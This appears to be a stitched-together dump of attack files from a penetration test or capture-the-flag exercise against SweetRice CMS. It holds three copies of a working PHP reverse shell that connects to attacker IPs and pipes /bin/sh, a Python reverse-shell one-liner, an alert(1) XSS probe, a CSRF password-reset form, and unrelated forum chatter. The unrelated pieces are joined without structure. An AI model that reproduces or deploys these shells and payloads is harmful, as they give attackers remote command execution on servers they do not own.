<?php







set_time_limit (0);







$VERSION = "1.0";







$ip = '10.8.28.119'; // CHANGE THIS







$port = 9999; // CHANGE THIS







$chunk_size = 1400;







$write_a = null;







$error_a = null;







$shell = 'uname -a; w; id; /bin/sh -i';







$daemon = 0;







$debug = 0;















//







// Daemonise ourself if possible to avoid zombies later







//















// pcntl_fork is hardly ever available, but will allow us to daemonise







// our php process and avoid zombies. Worth a try...







if (function_exists('pcntl_fork')) {







// Fork and have the parent process exit







$pid = pcntl_fork();















if ($pid == -1) {







printit("ERROR: Can't fork");







exit(1);







}















if ($pid) {







exit(0); // Parent exits







}















// Make the current process a session leader







// Will only succeed if we forked







if (posix_setsid() == -1) {







printit("Error: Can't setsid()");







exit(1);







}















$daemon = 1;







} else {







printit("WARNING: Failed to daemonise. This is quite common and not fatal.");







}















// Change to a safe directory







chdir("/");















// Remove any umask we inherited







umask(0);















//







// Do the reverse shell...







//















// Open reverse connection







$sock = fsockopen($ip, $port, $errno, $errstr, 30);







if (!$sock) {







printit("$errstr ($errno)");







exit(1);







}















// Spawn shell process







$descriptorspec = array(







0 => array("pipe", "r"), // stdin is a pipe that the child will read from







1 => array("pipe", "w"), // stdout is a pipe that the child will write to







2 => array("pipe", "w") // stderr is a pipe that the child will write to







);















$process = proc_open($shell, $descriptorspec, $pipes);















if (!is_resource($process)) {







printit("ERROR: Can't spawn shell");







exit(1);







}















// Set everything to non-blocking







// Reason: Occsionally reads will block, even though stream_select tells us they won't







stream_set_blocking($pipes[0], 0);







stream_set_blocking($pipes[1], 0);







stream_set_blocking($pipes[2], 0);







stream_set_blocking($sock, 0);















printit("Successfully opened reverse shell to $ip:$port");















while (1) {







// Check for end of TCP connection







if (feof($sock)) {







printit("ERROR: Shell connection terminated");







break;







}















// Check for end of STDOUT







if (feof($pipes[1])) {







printit("ERROR: Shell process terminated");







break;







}















// Wait until a command is end down $sock, or some







// command output is available on STDOUT or STDERR







$read_a = array($sock, $pipes[1], $pipes[2]);







$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);















// If we can read from the TCP socket, send







// data to process's STDIN







if (in_array($sock, $read_a)) {







if ($debug) printit("SOCK READ");







$input = fread($sock, $chunk_size);







if ($debug) printit("SOCK: $input");







fwrite($pipes[0], $input);







}















// If we can read from the process's STDOUT







// send data down tcp connection







if (in_array($pipes[1], $read_a)) {







if ($debug) printit("STDOUT READ");







$input = fread($pipes[1], $chunk_size);







if ($debug) printit("STDOUT: $input");







fwrite($sock, $input);







}















// If we can read from the process's STDERR







// send data down tcp connection







if (in_array($pipes[2], $read_a)) {







if ($debug) printit("STDERR READ");







$input = fread($pipes[2], $chunk_size);







if ($debug) printit("STDERR: $input");







fwrite($sock, $input);







}







}















fclose($sock);







fclose($pipes[0]);







fclose($pipes[1]);







fclose($pipes[2]);







proc_close($process);















// Like print, but does nothing if we've daemonised ourself







// (I can't figure out how to redirect STDOUT like a proper daemon)







function printit ($string) {







if (!$daemon) {







print "$string\n";







}







}















?>

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.28.119",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

naber

<?php



set_time_limit (0);



$VERSION = "1.0";



$ip = '10.9.153.156'; // CHANGE THIS



$port = 9001; // CHANGE THIS



$chunk_size = 1400;



$write_a = null;



$error_a = null;



$shell = 'uname -a; w; id; /bin/sh -i';



$daemon = 0;



$debug = 0;







//



// Daemonise ourself if possible to avoid zombies later



//







// pcntl_fork is hardly ever available, but will allow us to daemonise



// our php process and avoid zombies. Worth a try...



if (function_exists('pcntl_fork')) {



// Fork and have the parent process exit



$pid = pcntl_fork();







if ($pid == -1) {



printit("ERROR: Can't fork");



exit(1);



}







if ($pid) {



exit(0); // Parent exits



}







// Make the current process a session leader



// Will only succeed if we forked



if (posix_setsid() == -1) {



printit("Error: Can't setsid()");



exit(1);



}







$daemon = 1;



} else {



printit("WARNING: Failed to daemonise. This is quite common and not fatal.");



}







// Change to a safe directory



chdir("/");







// Remove any umask we inherited



umask(0);







//



// Do the reverse shell...



//







// Open reverse connection



$sock = fsockopen($ip, $port, $errno, $errstr, 30);



if (!$sock) {



printit("$errstr ($errno)");



exit(1);



}







// Spawn shell process



$descriptorspec = array(



0 => array("pipe", "r"), // stdin is a pipe that the child will read from



1 => array("pipe", "w"), // stdout is a pipe that the child will write to



2 => array("pipe", "w") // stderr is a pipe that the child will write to



);







$process = proc_open($shell, $descriptorspec, $pipes);







if (!is_resource($process)) {



printit("ERROR: Can't spawn shell");



exit(1);



}







// Set everything to non-blocking



// Reason: Occsionally reads will block, even though stream_select tells us they won't



stream_set_blocking($pipes[0], 0);



stream_set_blocking($pipes[1], 0);



stream_set_blocking($pipes[2], 0);



stream_set_blocking($sock, 0);







printit("Successfully opened reverse shell to $ip:$port");







while (1) {



// Check for end of TCP connection



if (feof($sock)) {



printit("ERROR: Shell connection terminated");



break;



}







// Check for end of STDOUT



if (feof($pipes[1])) {



printit("ERROR: Shell process terminated");



break;



}







// Wait until a command is end down $sock, or some



// command output is available on STDOUT or STDERR



$read_a = array($sock, $pipes[1], $pipes[2]);



$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);







// If we can read from the TCP socket, send



// data to process's STDIN



if (in_array($sock, $read_a)) {



if ($debug) printit("SOCK READ");



$input = fread($sock, $chunk_size);



if ($debug) printit("SOCK: $input");



fwrite($pipes[0], $input);



}







// If we can read from the process's STDOUT



// send data down tcp connection



if (in_array($pipes[1], $read_a)) {



if ($debug) printit("STDOUT READ");



$input = fread($pipes[1], $chunk_size);



if ($debug) printit("STDOUT: $input");



fwrite($sock, $input);



}







// If we can read from the process's STDERR



// send data down tcp connection



if (in_array($pipes[2], $read_a)) {



if ($debug) printit("STDERR READ");



$input = fread($pipes[2], $chunk_size);



if ($debug) printit("STDERR: $input");



fwrite($sock, $input);



}



}







fclose($sock);



fclose($pipes[0]);



fclose($pipes[1]);



fclose($pipes[2]);



proc_close($process);







// Like print, but does nothing if we've daemonised ourself



// (I can't figure out how to redirect STDOUT like a proper daemon)



function printit ($string) {



if (!$daemon) {



print "$string\n";



}



}







?>

<?php







# include_once($root_dir."_plugin/fckeditor/fckeditor.php") ;







# ?>

<?php

set_time_limit (0);

$VERSION = "1.0";

$ip = '10.9.153.156'; // CHANGE THIS

$port = 9001; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;



//

// Daemonise ourself if possible to avoid zombies later

//



// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pcntl_fork();



if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}



if ($pid) {

exit(0); // Parent exits

}



// Make the current process a session leader

// Will only succeed if we forked

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

exit(1);

}



$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}



// Change to a safe directory

chdir("/");



// Remove any umask we inherited

umask(0);



//

// Do the reverse shell...

//



// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}



// Spawn shell process

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);



$process = proc_open($shell, $descriptorspec, $pipes);



if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}



// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);



printit("Successfully opened reverse shell to $ip:$port");



while (1) {

// Check for end of TCP connection

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}



// Check for end of STDOUT

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}



// Wait until a command is end down $sock, or some

// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);



// If we can read from the TCP socket, send

// data to process's STDIN

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}



// If we can read from the process's STDOUT

// send data down tcp connection

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}



// If we can read from the process's STDERR

// send data down tcp connection

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}



fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);



// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}



?>

alert(1);

<form action="http://[host]/as/index.php?type=password&mod=resetok" method="post">

<input name="p1" type="hidden" value="123">

<input name="p2" type="hidden" value="123">

<input name="email" type="hidden" value="[admin_email]%u201C>

<input value="Login%u201D name="login" type="submit">

</form>

echo '<h1> Hacked </h1>'; phpinfo();

<?php



# include_once($root_dir."_plugin/fckeditor/fckeditor.php") ;



# ?>

ps:i still gather some money to donate it.. just wait..

wow..fast update..thanks sweetrice..

really love this cms..

now i really don't need another cms to create web or blog :)



please add some themes sweetrice :D

wow..sounds great!!

when SR 1.2.0 will be release?

SweetRice 1.2.0 with some new features

new dashboard design and support URL redirect etc...

wow!! thank you very much to release it..